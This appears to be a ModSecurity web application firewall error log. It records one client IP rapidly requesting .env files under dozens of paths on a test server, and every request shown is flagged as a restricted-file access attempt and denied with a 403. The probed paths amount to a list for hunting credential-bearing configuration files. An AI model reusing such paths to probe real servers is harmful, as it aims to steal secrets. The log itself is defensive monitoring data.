[Thu Feb 26 01:02:55.271607 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHaQAAAAQ&quot;]
[Thu Feb 26 01:02:55.271758 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHaQAAAAQ&quot;]
[Thu Feb 26 01:02:55.294891 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHagAAAAQ&quot;]
[Thu Feb 26 01:02:55.295140 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHagAAAAQ&quot;]
[Thu Feb 26 01:02:55.295293 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHagAAAAQ&quot;]
[Thu Feb 26 01:02:55.324459 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHawAAAAQ&quot;]
[Thu Feb 26 01:02:55.324714 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHawAAAAQ&quot;]
[Thu Feb 26 01:02:55.324876 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHawAAAAQ&quot;]
[Thu Feb 26 01:02:55.341158 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiylQAAAAA&quot;]
[Thu Feb 26 01:02:55.341423 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiylQAAAAA&quot;]
[Thu Feb 26 01:02:55.341587 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiylQAAAAA&quot;]
[Thu Feb 26 01:02:55.385930 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /azure/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiylgAAAAA&quot;]
[Thu Feb 26 01:02:55.386208 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiylgAAAAA&quot;]
[Thu Feb 26 01:02:55.386387 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiylgAAAAA&quot;]
[Thu Feb 26 01:02:55.421747 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiylwAAAAA&quot;]
[Thu Feb 26 01:02:55.422089 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiylwAAAAA&quot;]
[Thu Feb 26 01:02:55.422267 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiylwAAAAA&quot;]
[Thu Feb 26 01:02:55.473146 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymAAAAAA&quot;]
[Thu Feb 26 01:02:55.473410 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymAAAAAA&quot;]
[Thu Feb 26 01:02:55.473578 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymAAAAAA&quot;]
[Thu Feb 26 01:02:55.479779 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app1-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHbgAAAAQ&quot;]
[Thu Feb 26 01:02:55.480019 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHbgAAAAQ&quot;]
[Thu Feb 26 01:02:55.480165 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHbgAAAAQ&quot;]
[Thu Feb 26 01:02:55.495983 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymQAAAAA&quot;]
[Thu Feb 26 01:02:55.496219 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymQAAAAA&quot;]
[Thu Feb 26 01:02:55.496365 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymQAAAAA&quot;]
[Thu Feb 26 01:02:55.515299 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app2-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHbwAAAAQ&quot;]
[Thu Feb 26 01:02:55.515557 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHbwAAAAQ&quot;]
[Thu Feb 26 01:02:55.515709 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHbwAAAAQ&quot;]
[Thu Feb 26 01:02:55.538354 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcAAAAAQ&quot;]
[Thu Feb 26 01:02:55.538576 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcAAAAAQ&quot;]
[Thu Feb 26 01:02:55.538717 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcAAAAAQ&quot;]
[Thu Feb 26 01:02:55.559478 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 